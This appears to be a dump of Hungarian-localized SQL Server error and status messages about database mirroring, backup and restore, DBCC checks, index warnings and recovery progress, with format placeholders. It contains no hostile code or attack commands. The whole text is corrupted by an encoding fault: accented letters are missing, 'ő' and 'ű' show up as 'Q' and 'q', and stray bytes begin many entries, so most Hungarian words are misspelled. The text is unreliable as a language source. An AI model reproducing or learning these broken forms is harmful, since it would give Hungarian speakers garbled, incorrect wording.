A rendszer megkerli a(z)  %1!s!  adatbzis helyrelltst, mert az tkradatbzisknt van megjellve, a tkradatbzisok pedig nem llthatk helyre. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A rendszer megkerli a(z)  %1!s!  adatbzis helyrelltst, mert az hozzfrhetetlen adatbzis-tkrzsi adatbzisknt van megjellve. A tkrzsi munkamenettel problmk akadtak. Lehetsges, hogy a munkamenet nem rendelkezik kvrummal, vagy a kommunikcis kapcsok megszakadtak, mert problma van a hivatkozsokkal, a vgpont-konfigurcikkal vagy az engedlyekkel (szolgltatsfik vagy biztonsgi tanstvny szmra). Az adatbzishoz val hozzfrs rdekben dertse ki, hogy mi vltozott a munkamenet konfigurcijban, s lltsa vissza a vltoztats elQtti llapotot.

xA(z)  %1!s!  kiszolglpldny mr tanknt viselkedik.

Az adatbzis-tkrzsi funkci sikeresen kijavtotta a(z)  %2!s!  adatbzis %1!s! jelq fizikai lapjt. Ehhez msolatot krt a partnertQl.

@A(z) %1!s!  %2!s!  adatbzis szerepkrt vltoztat,  %3!s!  szerepkrrQl  %4!s!  szerepkrre, mert a tkrzsi munkamenet vagy a rendelkezsre llsi csoport tadta a feladatait a kvetkezQ okbl: %5!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

8Az adatbzis-tkrzsi funkci nem tudta kijavtani a(z)  %2!s!  adatbzis %1!s! jelq fizikai lapjt. Nem lehetett felvenni a kapcsolatot a tkrzsi partnerrel, vagy a partner nem biztostott pldnyt a laprl. A lehetsges okok kz tartozik a hlzati kapcsolat hinya, vagy annak a lehetQsge, hogy a lap partner ltal trolt pldnya szintn srlt. Annak kidertsre, hogy a partnerek jelenleg kapcsoldnak-e, tekintse meg a sys.database_mirroring katalgusnzet mirroring_state_desc oszlopt. Ha ezen a tren nincs problma, akkor annak megllaptsra, hogy a partner mirt nem tudott lappldnyt biztostani, vizsglja meg a partner hibanapljnak azokat a bejegyzseit, amelyek krlbell jelen zenettel egy idejqek. Prblja meg megoldani a problmt, s folytassa a tkrzst.

Az adatbzis-tkrzsi funkci nem tudta megszerezni a pillanatkp-szinkronizlsi zrolst.

Az adatbzis-tkrzs engedlyezve lett ezen az SQL Server-pldnyon.

Az adatbzis-tkrzsi tvitel le van tiltva a vgpont-konfigurciban.

Az adatbzis-tkrzsi funkci %1!s! prhuzamos megismtlsi szlat indt; a(z)  %2!s!  adatbzis a tkrpldny. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

<Az adatbzis-tkrzs le van tiltva ezen a kiszolgln, a kvetkezQ hiba miatt: %1!s!. Tovbbi informcirt ellenQrizze a hibanaplt s a konfigurcit.

BobMgr::GetBuf: A rendezs sorn a nagy kimeneti pufferbe val rs nem fejezQdtt be %1!s! msodperc alatt.

Az SQL Server a kvetkezQt szlelte:  %1!s! . Az szlelt esemny a kvetkezQ beolvassnak megksrlse sorn trtnt: rendezsfuttatsi lap: %2!s!, fjl:  %3!s! , adatbzis azonostja: %4!s!. A rendezsi funkci jra megprblja a beolvasst.

Figyelmeztets: A(z)  %1!s!  tbla ltre lett hozva, de benne a maximlis sormret meghaladja a maximlisan engedlyezett %2!s! bjtot. A tblra vonatkoz INSERT vagy UPDATE utastsok sikertelenek lesznek, ha az eredmnyl kapott sor meghaladja a mretkorltot.

Nem hasznlhat az aliastpus, ha tblavltozban lvQ oszloptpusknt vagy tbla rtkq fggvnyben lvQ tbla-visszatrsi definciknt van hozzktve egy szably vagy alaprtelmezs. A(z)  %1!s!  tpushoz %2!s! van ktve.

A(z)  %1!s!  tbla nem hozhat ltre pusztn oszlopkszletbeli oszloppal. A tblnak tartalmaznia kell nem szmtott oszlopot is.

Nem sikerlt ltrehozni a zradkot. Tovbbi informci az elQzQ hibkban.

A rendszer mellQzi az ideiglenes tbla FOREIGN KEY (idegen kulcs) zradknak  %1!s!  defincijt. A helyi s a globlis ideiglenes tblkban a FOREIGN KEY zradkok nem lpnek rvnybe.

A tempdb adatbzis nem hozhat ltre. Lehetsges, hogy nincs elegendQ res lemezterlet. Nmi lemezterlet felszabadtshoz trljn ms fjlokat a tempdb adatbzis meghajtjrl, majd indtsa jra az SQL Server rendszert. Keressen tovbbi hibkat az esemnynaplban, amelyek esetleg utalhatnak arra, hogy a tempdb fjljai mirt nem inicializlhatk.

Az alaprtelmezett naplfjl nem hozhat ltre, mert a nv tl hossz.

Az alaprtelmezett fjlok nem hozhatk ltre, mert a megadott nv tl hossz.

\Egy vagy tbb offline adatbzisfjl fell lett rva, mikzben a rendszer egy adatbzis-pillanatkpbQl online llapotba llt vissza. ElQfordulhat, hogy a visszalltott fjl rvnytelen lapokat tartalmaz. Futtasson adatbziskonzisztencia-ellenQrzseket az adatok integritsnak felmrse rdekben.

A(z)  %1!s!  adatbzis visszalltsa folyamatban. A visszallts a(z)  %2!s!  adatbzis-pillanatkp idejre trtnik; a sztvlsi pont naplsorszma: %3!s! (0x%4!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Figyelmeztets! A maximlis kulcshosszsg %1!s! bjt. A(z)  %2!s!  index maximlis hossza %3!s! bjt. A nagy rtkek bizonyos kombinciinl a beszrsi/frissts mqvelet sikertelen lesz.

Figyelmeztets: A(z)  %1!s!  tbla online indexmqvelete folytatdik, azonban lehetsges, hogy a tblhoz val egyidejq hozzfrs korltozva lesz, mert ugyanezen tranzakci egy msik, korbbi mqveletbQl fennmaradt a tbla zrolsa.

lFigyelmeztets: A sor maximlis hossza meghaladja az engedlyezett, %1!s! bjtos korltot. A nagy rtkek bizonyos kombinciinl a beszrsi/frissts mqvelet sikertelen lesz.

A nem felttelezett  %1!s!  index nem cserlhetQ le felttelezett indexre a DROP_EXISTING kapcsol hasznlatval.

DFigyelmeztets: A(z)  %2!s!  tblban tallhat,  %3!s!  tblra hivatkoz  %1!s!  idegen kulcs le lett tiltva, a(z)  %4!s!  index letiltsa eredmnyekppen.

PFigyelmeztets: A(z)  %2!s!  nzetben lthat,  %3!s!  tblra hivatkoz, nem frtztt  %1!s!  index le lett tiltva, a(z)  %4!s!  index letiltsa eredmnyekppen.

TA(z)  %1!s!  modul a kvetkezQ, hinyz objektumtl fgg:  %2!s! . A rendszer ltrehozza a modult, azonban az nem fog sikeresen futni, amg az objektum nem ltezik.

Figyelmeztets: A(z)  %2!s!  %1!s! szmra ki van kapcsolva az  is_ms_shipped  tulajdonsg, mert nnek nincs megfelelQ jogosultsga ahhoz, hogy ilyen tulajdonsgot tartalmaz objektumot hozzon ltre vagy mdostson.

$Hiba ([%1!s!, %2!s!, %3!s!]) trtnt, mikzben a rendszer megksrelte felszabadtani a(z) [%4!s!:%5!s!] egysgazonostj munkafjlegysget.

tA kvetkezQ fizikai fjl sikeresen trlve:  %1!s! .

Objektumazonost: %1!s! (objektum:  %2!s! ): A szmtott oszlopok s a CLR-beli tpusok nem ellenQrizhetQk ezen objektum szmra, mert a kzs nyelvi futtatkrnyezet (CLR) le van tiltva.

A szmtott oszlopok s a CLR-beli tpusok nem ellenQrizhetQk a(z) %1!s! azonostj objektum (objektum:  %2!s! ) szmra, mert a belsQ kifejezskirtkelQ inicializlsa sikertelen volt.

A DBCC-utasts vgrehajtsa befejezQdtt. Ha a DBCC hibazeneteket rt ki, forduljon a rendszergazdhoz.

< %1!s!    DBCC-tallatok.

Fjl: %1!s!. Egysgek szma = %2!s!, hasznlt lapok szma = %3!s!, fenntartott lapok szma = %4!s!.

Ebben az adatbzisban az egysgek teljes szma = %1!s!, hasznlt lapok szma = %2!s!, fenntartott lapok szma = %3!s!.

A rendszer nem tudja sajt magnak kijavtani ezt a hibt.

DBCC UPDATEUSAGE:  %1!s!  tbla (index:  %2!s! , partci:  %3!s! ) hasznlati szmai frisstve:

        %1!s! DATA lapok: (%2!s!) laprl (%3!s!) lapra mdosult.

        %1!s! USED lapok: (%2!s!) laprl (%3!s!) lapra mdosult.

        %1!s! RSVD lapok: (%2!s!) laprl (%3!s!) lapra mdosult.

        ROWS darabszm: (%1!s!) sorrl (%2!s!) sorra mdosult.

A(z)  %2!s!  tbla  %1!s!  indexe meg van jellve s le van tiltva. Az index online llapotba helyezshez ptse azt jra.

tDBCC:  %1!s!  index tmrtsi fzisa: %2!s!%% ksz.

DBCC:  %1!s!  index tredezettsgmentestsi fzisa: %2!s!%% ksz.

 A(z)  %1!s!  tbla nem lesz elrhetQ a(z)  %2!s!  index jrarendezse sorn. Ennek az az oka, hogy az index-jrarendezsi mqvelet felhasznli tranzakcin bell kerl vgrehajtsra, s az egsz tbln kizrlagos zrols lesz rvnyben.

A DBCC nem tudja felszabadtani a kvetkezQ DLL fggvnytrat:  %1!s! . A DLL nincs betltve.

 %1!s!  felhasznl a(z)  %5!s!  adatbzis %4!s! jelq lapjnak %2!s! %3!s! bjttartomnyt mdostja.

Javts: A(z)  %3!s!  adatbzis  %2!s!  objektumnak %1!s!. indexe sikeresen jraptve.

A(z)  %3!s!  objektum %2!s! lappal, azokon pedig sszesen %1!s! sorral rendelkezik.

A(z)  %2!s!  objektum (azonost: %3!s!) %1!s! azonostj sorkszlete nem dolgozhat fel, mert a(z)  %6!s!  fjlcsoportban (azonost: %7!s!) tallhat, s ez a fjlcsoport nem lett ellenQrizve. Az objektum tovbbi adatai: index:  %4!s!  (azonost: %5!s!).

(A rendszer figyelmen kvl hagyja a(z) %1!s! kvetsi jelzQt, mert az rvnytelen, vagy csak a kiszolgl indulsakor megadhat kvetsi jelzQ.

A rendszer figyelmen kvl hagyja a(z)  %1!s!  nevq adatbzist; helyette a tempdb adatbzisban lvQ objektumra hivatkozik.

rvnytelen az adattpusa a kvetkezQ paramternek vagy vltoznak:  %1!s! .

A(z) %1!s!. azonostj folyamat felhasznli hibt idzett elQ. Hiba: %2!s!, slyossg: %3!s!. Az SQL Server megszaktja a folyamatot.

Az SQL Server %1!s! alkalommal szlelt gyorsttr-kirtst a(z)  %2!s!  gyorsttron (a tervek gyorsttrnak rsze) a  DBCC FREEPROCCACHE  vagy a  DBCC FREESYSTEMCACHE  mqvelet eredmnyeknt.

Az SQL Server %1!s! alkalommal szlelt gyorsttr-kirtst a(z)  %2!s!  gyorsttron (a tervek gyorsttrnak rsze) a valamilyen adatbzis-karbantartsi vagy jrakonfigurlsi mqvelet eredmnyeknt.

A rendszer potencilis vgtelen jrafordtst szlelt a kvetkezQnl: SQLHANDLE: %1!s!, PlanHandle: %2!s!, kezdQ eltolsa: %3!s!, befejezQ eltols: %4!s!. A legutbb jrafordts oka: %5!s!.

Ez a BACKUP WITH DIFFERENTIAL (klnbzeti biztonsgi msolat) utasts tbb biztonsgi fjlmsolaton fog alapulni. Az sszes biztonsgi fjlmsolatot vissza kell lltani, mielQtt megksreln visszalltani a klnbzeti biztonsgi msolatot.

A klnbzeti rszleges biztonsgi msolat a kvetkezQ, rsvdett fjlcsoportot is tartalmazza:  %1!s! . Ez a fjlcsoport rhat/olvashat volt, amikor a rszleges biztonsgi msolat alapja ltre lett hozva, de ksQbb rsvdett tettk. Azt javasoljuk, hogy most hozzon ltre egy klnll biztonsgimsolat-fjlt a(z)  %2!s!  fjlcsoportrl, majd hozzon ltre egy j rszleges biztonsgi msolatot annak rdekben, hogy a jvQbeni klnbzeti rszleges biztonsgi msolatokhoz j alappal rendelkezzen.

%1!s!: Az utasts %2!s! lapot sikeresen feldolgozott %3!s!,%4!s! msodperc alatt (%5!s!,%6!s! MB/s).

`A kvetkezQ mg nincs implementlva: %1!s!.

DA(z)  %1!s!  jraindtsiellenQrzQpont-fjl nem tallhat. A RESTORE parancs az elejtQl folytatja tovbb, gy, mintha a RESTART kapcsol nem lenne megadva.

Ez a biztonsgi msolat egy olyan adatbzis rhat/olvashat adatainak a biztonsgi fjlmsolata, amely egyszerq helyrelltsi modellt alkalmaz. Ez csak akkor megfelelQ vlaszts, ha a fjlcsoportot rsvdett tervezi tenni, utna pedig klnbzeti biztonsgi fjlmsolatot kvn indtani. Tovbbi informci az rsvdett adatok egyszerq helyrelltsi modellben val kezelsrQl az online knyvekben olvashat. Klnsen rdemes megismerkednie a rszleges biztonsgi msolatok hasznlatnak mdjval.

A(z)  %1!s!  jraindtsiellenQrzQpont-fjl srlt, ezrt a rendszer figyelmen kvl hagyja. A RESTORE parancs az elejtQl folytatja tovbb, gy, mintha a RESTART kapcsol nem lenne megadva.

dHiba trtnt a biztonsgi msolat repliklsnak tjkoztatsa kzben. A biztonsgimsolat-kszts folytatdik, azonban a repliklsi krnyezetet fontos lehet megvizsglni.

HA BACKUP WITH CONTINUE_AFTER_ERROR sikeresen ltrehozta a srlt adatbzis biztonsgi msolatt. Az szlelt hibkrl az SQL Server hibanapljban tjkozdhat.

A fjl vagy eszkz neve hosszabb a tmogatott korltozsnl (maximlis hossz: %1!s!), s ezrt csonkolva lesz: %2!s!.

0Az jraindtsi ellenQrzQpont  %1!s!  fjlja megsrlt. A visszalltott adatbzis nem llthat helyre. Indtsa jra a RESTORE utastssorozatot.

A kvetkezQ fjlcsoport van kivlasztva:  %1!s! . A biztonsgi msolat ksztsnek idejn mg ez volt a neve:  %2!s! . A RESTORE utasts az tnevezett fjlcsoporton folytatja a mqveletet.

dA kvetkezQ fjl van kivlasztva:  %1!s! . A biztonsgi msolat ksztsnek idejn mg ez volt a neve:  %2!s! . A RESTORE utasts az tnevezett fjl folytatja a mqveletet.

`A(z)  %2!s!  adatbzis  %1!s!  fjljnak klnbzetialap-attribtuma alaphelyzetbe lett lltva, mert a fjl visszalltsa egy olyan biztonsgi msolatbl trtnt, amely tkzQ jellegq visszalltsi elrsi ton volt. A visszallts azrt trtnhetett meg, mert a fjl rsvdett, s konzisztens volt az adatbzis jelenlegi llapotval. A fjl jvQbeli klnbzeti biztonsgi msolathoz j klnbzeti alapra lesz szksg.

A master adatbzis sikeresen visszalltva. Az SQL Server lelltsa folyamatban.

LRESTORE FILEGROUP="%1!s!" lett megadva, de nem mindegyik fjl van jelen a biztonsgimsolat-kszletben. A kvetkezQ fjl hinyzik:  %2!s! . A RESTORE utasts folytatdik, ha azonban az sszes fjlt vissza kvnja lltani, akkor ms biztonsgimsolat-kszleteket is kell visszalltania.

A biztonsgi msolat visszalltsa trterlet-problmkba tkzhet. Rszletek az ezt kvetQ zenetekben.

LA RESTORE WITH CONTINUE_AFTER_ERROR utasts sikeresen befejezQdtt, de a rendszer nmi srlst szlelt. Lehetsges, hogy az adatbzisban ellentmondsok vannak.

A biztonsgimsolat-kszlet megrsa srlt adatokkal trtnt, a BACKUP WITH CONTINUE_AFTER_ERROR utasts hasznlatval.

A visszallts sikeres volt, de maradtak elhalasztott tranzakcik. Ezek a tranzakcik nem oldhatk fel, mert bizonyos adatok nem rhetQk el. Hasznlja a RESTORE utastst ezeknek az adatoknak az elrhetQv ttelrt, vagy dobja el a fjlcsoportokat, ha tbb soha nem lesz szksge ezekre az adatokra. A fjlcsoport eldobsa hinyos fjlcsoporthoz vezet.

A ki-/bemeneti mqveletek lefagytak a(z) %1!s! adatbzison. Nincs szksg felhasznli beavatkozsra. Ha azonban a ki-/bemeneti mqveletek nem folytatdnak hamarosan, akkor rdemes lehet megszaktani a biztonsgimsolat-ksztst.

A ki-/bemeneti mqveletek folytatdnak a(z) %1!s! adatbzison. Nincs szksg felhasznli beavatkozsra.

@%1!s! szzalk feldolgozva.

A(z)  %1!s!  eszkzn tallhat mdiacsald kszen van. Az eszkzt a rendszer most a htralvQ csaldok egyiknl jbl felhasznlja.

A kvetkezQ fjl biztonsgimsolat-kszlete rvnyes: %1!s!.

Kiadva, visszatekers kezdemnyezve a kvetkezQn:  %1!s! .

gy tqnik, hogy a kvetkezQ eszkzn levQ fjljelzQ nincs megfelelQen igaztva:  %1!s! . A visszalltsi mqvelet kevsb hatkony be-/kimeneti mdszert hasznl majd. Ennek elkerlshez adja ki jbl a Restore utastst ugyanolyan blokkmrettel, mint amilyennel a biztonsgimsolat-kszletet ltrehoztk: a(z)  %2!s!  egy lehetsges rtknek tqnik. 

@Sikertelen volt a(z)  %1!s!  tranzakci (azonost: 0x%2!s! %3!s!) tvoli megszilrdtsa, mqvelet kezdete: %4!s!, adatbzis:  %5!s! , naplsorszm: %6!s!.

Hibk merltek fel a visszallts kzben, egy tranzakci visszagrgetse sorn. A tranzakci el lett halasztva. lltsa vissza a rossz lapot vagy fjlt, s futtassa jbl a visszalltst.

A(z)  %1!s!  adatbzis jellse %2!s!, s jelenleg olyan llapotban van, ami nem engedi a visszallts futtatst.

xA rendszer csak a master adatbzist lltja vissza, mert a 3608-as szm kvetsi jelzQ lett megadva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Indtskor nem sikerlt j teleptst vagy tnevezett kiszolglt keresni. Az ilyen jellegq ellenQrzsekrt felelQs logikai funkci vratlanul meghibsodott. Futtassa jbl a teleptQt vagy javtsa ki a problms belltskulcsot.

L%1!s! tranzakci elQregrgetve a kvetkezQ adatbzisban:  %2!s!  (%3!s!:%4!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

L%1!s! tranzakci visszagrgetve a kvetkezQ adatbzisban:  %2!s!  (%3!s!:%4!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A visszallts befejezQdtt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

xA(z) %1!s! fjlcsoport adatai jelenleg offline llapotban vannak, s elhalasztott tranzakcik is vannak. A fjlcsoport visszalltshoz hasznlja a RESTORE utastst, vagy dobja el a fjlcsoportot, ha soha tbb nem kvnja azt visszalltani. A napl nem csonkthat addig, amg ez a problma nincs megoldva.

TFigyelmeztets: A kiszolglpldny a minimlis konfigurcis indtsi kapcsolval (-f) lett elindtva. Amikor minimlis konfigurciban indtja el az SQL Server-pldnyt, akkor a kiszolgl automatikusan egyfelhasznls zemmdba kerl. A kiszolgl minimlis konfigurciban trtnQ elindtst kvetQen mdostsa a megfelelQ kiszolgli belltsrtket vagy -rtkeket, majd lltsa le s indtsa jra a kiszolglt.

Hiba trtnt a visszallts kzben, ami megakadlyozta a(z)  %1!s!  (%2!s!:%3!s!) adatbzist az jraindtsban. Diagnosztizlja s javtsa ki a visszalltsi hibkat, vagy vgezze el a visszalltst egy olyan biztonsgi msolatbl, amelyrQl tudja, hogy j. Ha a hibk nem javulnak meg vagy vratlanok, lpjen kapcsolatba a termktmogatsi szolglattal.

A visszalltsi funkci nem tudja elhalasztani a kvetkezQ hibt: %1!s!. A hibk csak olyan adatbzisok esetn halaszthatk el, amelyek a teljes visszalltsi modellt alkalmazzk, valamint aktv biztonsgimsolat-napllnccal rendelkeznek.

A(z) %1!s! adatbzis (adatbzis azonostja: %2!s!) visszalltsa %3!s! msodperc alatt befejezQdtt. (Elemzs: %4!s! ms, megismtls: %5!s! ms, visszavons: %6!s! ms.) Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z) %1!s! adatbzis le lett lltva, a(z)  %3!s!  rutin %2!s! hibja miatt. A pillanatkp nlkli adatbzisok jraindtst a rendszer csak azutn ksrli meg, ha az adatbzis fel irnyul sszes kapcsolat bontsra kerl.

A visszalltsi funkci nem tudta megllaptani a(z)  %3!s!  adatbzis (adatbzis azonostja: %4!s!:%5!s!)  %2!s!  nevq, a teljes adatbzisra vonatkoz %1!s!. tranzakcijnak a vgeredmnyt. A koordinl adatbzis (adatbzis azonostja: %6!s!:%7!s!) nem rhetQ el. A rendszer gy kezeli a tranzakcit, mintha az sikeresen vgre lenne hajtva. Ha a tranzakci nem lett vgrehajtva, prblja meg ismt a visszalltst akkor, amikor a koordinl adatbzis elrhetQ lesz.

A(z)  %1!s!  (%2!s!) adatbzis visszalltsa %3!s!%%-ban ksz (krlbell %4!s! msodperc van htra). %5!s!. fzis a 3-bl. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  (%2!s!) adatbzis visszalltsa sorn a rendszer potencilis kvetkezetlensget szlelt a(z) %3!s! azonostj tbla identitsrtkei kztt. Futtassa a kvetkezQ utastst: DBCC CHECKIDENT ('%4!s!').

XA visszalltsi funkci ellenQrzQpontot r a kvetkezQ adatbzisban:  %1!s!  (%2!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

xA rendszer figyelmen kvl hagyta az ismtlQdQ kulcsot.

LAritmetikai tlcsorduls trtnt.

LNullval trtnQ oszts trtnt.

%1!s! SQL Server vgrehajtsi idQk: %2!s! Rzszlas mdban a processzoridQt nem mri a rendszer, eltelt idQ = %3!s! ms.

%1!s! SQL Server vgrehajtsi idQk: %2!s! ProcesszoridQ = %3!s! ms, eltelt idQ = %4!s! ms.

SQL Server elemzsi s fordtsi ideje: %1!s! ProcesszoridQ = %2!s! ms, eltelt idQ = %3!s! ms.

Tbla:  %1!s! . Vizsglatok szma: %2!s!, logikai beolvassok: %3!s!, fizikai beolvassok: %4!s!, elQreolvassi olvassok: %5!s!, LOB logikai olvassok: %6!s!, LOB fizikai olvassok: %7!s!, LOB elQreolvassi olvassok: %8!s!.

Nem sikerlt ellenQrzQpont-rekordot rni a kvetkezQ adatbzisba, mert nincs elg hely a naplban: %1!s!. Krje meg a rendszergazdt, hogy csonkolja a naplt, vagy foglaljon le tbb terletet az adatbzis naplfjljai szmra.

hAz automatikus ellenQrzQpont-kszts le van tiltva a(z)  %1!s!  adatbzisban, mert a naplban nincs elg hely. Az automatikus ellenQrzQpont-kszts akkor lesz engedlyezve, ha az adatbzis tulajdonosa sikeresen ellenQrzQpontot kszt az adatbzisban. Krje meg az adatbzis tulajdonost, hogy csonkolja a naplfjlt vagy vegyen fel tbb lemezterletet a napl szmra. Ezt kvetQen prblja jra a CHECKPOINT utasts futtatst.

8Az utasts megszakadt.

|Figyelmeztets: rvnytelen lebegQpontos mqvelet trtnt.

Az sszes logikai olvass szma: %1!s!, fizikai olvassok szma: %2!s!, rsok szma: %3!s!.

Tbla:  %1!s! . Beolvasott szegmensek: %2!s!, kihagyott szegmensek: %3!s!.

Nem sikerlt eldobni a zradkot. Tovbbi informci az elQzQ hibkban.

xA kvetkezQ adatbzisfjl trlse folyamatban:  %1!s! .

Figyelmeztets: A(z)  %3!s!  %2!s!  %1!s!  nevq indexe le lett tiltva, miutn a frtztt index le lett tiltva a kvetkezQn: %4!s!.

0Figyelmeztets: Lehetsges, hogy a(z) "%2!s!"."%3!s!"  %1!s!  indext a rendezsi frissts befolysolhatja. Futtassa a DBCC CHECKTABLE utastst.

\Figyelmeztets: Lehetsges, hogy a(z) "%2!s!"."%3!s!"  %1!s!  zradkt a rendezsi frissts befolysolhatja. Tiltsa le majd engedlyezze ismt a WITH CHECK kapcsolt.

Figyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  indexe le van tiltva, mert az ellenQrzQsszeg-fggvny megvalstsa megvltozott.

,Figyelmeztets: A(z) "%2!s!"."%3!s!" tbla  %1!s!  ellenQrzQ zradka le van tiltva, mert az ellenQrzQsszeg-fggvny megvalstsa megvltozott.

Figyelmeztets: Lehetsges, hogy a(z) "%2!s!"."%3!s!" tbla  %1!s!  indexe srlt, mert a(z)  %4!s!  szmtott oszlopra hivatkozik, amely nem determinisztikus karakterlnc dtum konverzit tartalmaz. Az index ellenQrzshez futtassa a DBCC CHECKTABLE utastst. Fontolja meg az explicit CONVERT utasts hasznlatt, amely determinisztikus dtumstlussal rendelkezik; pldul: 121. Nem determinisztikus kifejezsekre mutat szmtottoszlop-indexek nem hozhatk ltre 90-es kompatibilitsi mdban. Tovbbi informci az online knyvek  Creating Indexes on Computed Columns  (Indexek ltrehozsa szmtott oszlopokban) tmakrben.

@Figyelmeztets: Lehetsges, hogy a(z) "%1!s!"."%2!s!" indexelt nzet srlt, mert nem determinisztikus karakterlnc dtum konverzit tartalmaz. A nzet ellenQrzshez futtassa a DBCC CHECKTABLE utastst. Fontolja meg az explicit CONVERT utasts hasznlatt, amely determinisztikus dtumstlussal rendelkezik; pldul: 121. Nem determinisztikus kifejezsekre mutat indexelt nzetek nem hozhatk ltre 90-es kompatibilitsi mdban. Tovbbi informci az online knyvek  Creating Indexed Views  (Indexelt nzetek ltrehozsa) tmakrben.

Figyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  indexe le van tiltva, mert az index olyan nzetben van meghatrozva, amely alkalmazza az ignore_dup_key indexkapcsolt. Dobja el az indexet, s, ha lehetsges, hozza ltre jra, ezttal az ignore_dup_key kapcsol nlkl. ElQfordulhat, hogy meg kell vltoztatnia a nzet logikai struktrjt annak rdekben, hogy minden sor egyedi legyen.

hA szerelvny  %1!s!  esemnyrtestse eldobva.

A szolgltatsi vrlista  %1!s!  esemnyrtestse eldobva, mert nincs megadva az tvitelszervezQ-pldny.

hAz objektum  %1!s!  esemnyrtestse eldobva.

Figyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  indexe le van tiltva, mert a(z)  %4!s!  megvalstsa megvltozott.

DFigyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  ellenQrzQ zradka le van tiltva s nem megbzhatv van lltva, mert a(z)  %4!s!  megvalstsa megvltozott.

Figyelmeztets: A(z) "%2!s!"."%3!s!"  %1!s!  idegenkulcs-zradka le van tiltva, mert a(z)  %4!s!  megvalstsa megvltozott.

Figyelmeztets: A(z) "%1!s!"."%2!s!" halommemria olyan megQrztt szmtott oszlopokkal rendelkezik, amelyek geometriai s geogrfiai metdusoktl fggenek, s amelyek elavult adatokat tartalmazhatnak. Emiatt elQfordulhat, hogy a DBCC inkonzisztencikrl tesz jelentst ennl a tblnl. A geometriai s geogrfiai metdusoktl fggQ, megQrztt szmtott oszlopoknl szntesse meg, majd jbl vezesse be a megQrzst, majd frisstse az adatokat.

Figyelmeztets: A(z) "%1!s!"."%2!s!" objektumot nem sikerlt ktni, s a rendszer figyelmen kvl hagyta a frissts sorn. Fontolja meg az objektum defincijnak tnzst s kijavtst.

@Figyelmeztets: A(z) "%1!s!"."%2!s!" tbla nem rhetQ el, mert olyan megQrztt szmtott oszlopot tartalmaz, amely a kvetkezQtQl fgg:  %3!s! . Ezen elem megvalstsa azonban megvltozott. ptse jra a tblt offline mdban, majd hozza ltre jbl a megQrztt szmtott oszlopot.

4Zrolsi idQtllps miatt nem lett ellenQrizve a metaadat-gyorsttr %1!s!:%2!s! bejegyzsnek sszefggQsge a(z) %3!s! azonostj adatbzisban.

A metaadat-gyorsttr sszefggQsgi ellenQrzse nem tallt inkonzisztencit a kvetkezQ azonostj adatbzisnl: %1!s!.

A sys.%2!s!%3!s! rendszertblban rvnytelen sor (%1!s!) tallhat.

A sys.%2!s!%3!s! tbla (%1!s!) sorhoz nincs hozztartoz (%4!s!) sor a sys.%5!s!%6!s! tblban.

A sys.%3!s!%4!s! tbla (%2!s!) sornak (%1!s!) attribtumhoz nincs hozztartoz (%5!s!) sor a sys.%6!s!%7!s! tblban.

A sys.%3!s!%4!s! tbla (%2!s!) sornak (%1!s!) attribtumhoz olyan (%5!s!) sor tartozik a sys.%6!s!%7!s! tblban, amely rvnytelen.

A(z) (%1!s!) attribtum a sys.%3!s!%4!s! tbla (%2!s!) sora nlkl ltezik.

A(z) (%1!s!) attribtum ltezik, de nem kellene, hogy a sys.%3!s!%4!s! tbla (%2!s!) sora szmra ltezzen.

A(z) (%1!s!) attribtum ktelezQ, de hinyzik a sys.%3!s!%4!s! tbla (%2!s!) sora szmra.

A sys.%3!s!%4!s! tblban lvQ (%2!s!) sor (%1!s!) attribtumnak rtke rvnytelen rendelkezik.

Figyelmeztets: A rendszerkatalgus kzvetlenl a(z) %1!s!. azonostj adatbzisban lett frisstve, legutbb ekkor: %2!s!.

A 32767-es azonostj adatbzis nem frissthetQ. Ez az azonostrtk az SQL Server belsQ hasznlatra van fenntartva.

lA(z) '%1!s!'.'%2!s!' CLR-beli tpus le van tiltva, mert a CLR-beli tpus lemezen levQ formtuma megvltozott. A letiltott tpus eltvoltshoz hasznlja a DROP TYPE utastst.

4A FileTable rendszer ltal definilt  %1!s!  objektumon vgzett mqvelet a nyomkvetsi jelzQk belltsa miatt engedlyezve lett. Ha nem kvnja, hogy ez a tjkoztat zenet megjelenjen a hibanaplban, a DBCC TRACEOFF parancs hasznlatval kapcsolja ki a nyomkvetsi jelzQt.

A(z)  %1!s!  FileTable objektum a rendszer ltal definilt megktseket tartalmaz, amelyek nem mdosthatk, amg a FILETABLE_NAMESPACE bellts engedlyezve van a tblra. Csak a felhasznl ltal definilt megktsek lettek frisstve.

A WITH MARK kapcsol csak az elsQ BEGIN TRAN WITH MARK utastsra vonatkozik. A megadott kapcsolt a rendszer figyelmen kvl hagyja.

A(z)  %1!s!  adatbzisban nem hasznlhatk a tranzakcijellQk olyan tmegesen naplzott mqveletekkel, amelyekrQl nem kszlt biztonsgi ments. A jellQt a rendszer figyelmen kvl hagyja.

lA munkamenet rszvtelt kezdemnyezett egy aktv felhasznli tranzakciban, mikzben j tranzakcihoz prblt ktni. A munkamenet tvozott az elQzQ felhasznli tranzakcibl.

A munkamenet aktv tranzakcija befejezQdtt vagy egy msik munkamenet megszaktotta.

$A munkamenet aktv tranzakcival rendelkezett, de kzben megprblt rszt venni a Distributed Transaction Coordinator egyik tranzakcijban.

A verzitrol megtelt. Nem lehet j verzit felvenni. Visszagrgetheti azt a tranzakcit, amelynek hozz kell frnie a verzitrolhoz. A tempdb adatbzis verziszmozsra val belltsrl az online knyvekben tallhat informcit.

